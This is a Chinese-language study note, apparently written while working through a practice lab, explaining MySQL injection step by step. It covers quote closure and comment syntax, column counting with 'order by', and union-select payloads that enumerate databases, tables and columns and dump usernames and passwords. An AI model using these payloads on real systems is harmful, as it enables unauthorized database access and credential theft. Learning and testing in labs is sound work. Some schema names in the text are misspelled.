mysql注入的原理简单来说就是将页面的语句闭合掉,然后输入自己想执行的语句,语句会通过数据库进行查询,然后返回到页面
low
看传入的参数id是由 ' 包裹着,所以我们需要使用 ' 将第一个单引号给注释点,然后传入我们想要查询的语句,最后将第三个单引号给注释,来使数据库成功执行我们的查询语句。
这个地方困扰了我好久
'$id';"
假设传入的参数为1
'1';" 正常输出
如果传入参数为1'
'1'';" 报错,因为多了一个单引号,既没有形成闭合,也没有对最后一个单引号进行注释
所以我们需要传入的的是对 自带的参数进行闭合,然后加上我们需要查询的语句,然后注释掉最后的' ,
假设传入 1' 语句 (#/--+/%23) #是页面注释,--+是数据库注释,%23是url的注释
那么语句便为
1' and 语句 --+
'id' and 语句 --+ '
这样后面的' 就被进行了注释,且前面两个' 形成了闭合,所以语句正确,可以带入数据库查询并返回结果
输入' 会报错,因为没有闭合。所以判断出他是' 闭合的字符类型注入,我们只需要注释' 即可。
正确的做法是
1.先判断是否存在注入
很简单,输入1' 看数据是否报错,报错就存在注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错 ,只有单引号进行闭合后,语句正确数据库才会进行查询。
mysql注入我的理解就是该网页的创建者对用户输入的字符没有加以限制和筛选,使之可以带入数据库进行查询。
2.报错后就需要判断字符型注入还是数字型注入
输入1 and 1= 1 和 1 and 1=2 如果没有报错就说明是字符型注入或者不存在注入。
如果是数字型注入,那么1 and 1=2 逻辑判读错误,一定会报错。
3.查看回显列
1' order by 1# 显示正常
1' order by 2# 显示正常
1' order by 3# 显示正常
1' order by 4# 报错
故回显列为3
证明回显列只有三列
为什么要查询回显列,因为union select 联合查询需要知道有多少列
回显是因为网页和数据库交互需要把数据返回到网页上
4.查数据库,查版本号,查用户。
1' union select database(),2,3# 回显列是3
1' union select user(),2,3# 回显列是3
1' union select version(),2,3# 回显列是3
1' union select database(),user(),version()#
5.查表
1' union select 1,2,table_name from information_schema.tables where table_schema=database()#
查询数据表
6.查列
1' union select 1,2,column_name from information_schema.columns where table_name='users'#
查列
7.查数据
1' union select 1,user,password from users#
最后介绍一个函数
group_concat()
例如:以id分组,把name字段的值打印在一行,逗号分隔(默认)
select id,group_concat(name) from aa group by id;
例如:
获取数据库中的表
以1分组,把table_name打印在第一行,逗号分隔(默认)
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
还有mysql的一些存储信息的库,表
informatiom_schema.tables 记录表名信息
information_schema.columns 记录列名信息
table_sc 记录数据库字段
tabla_name 表名
column_name 列名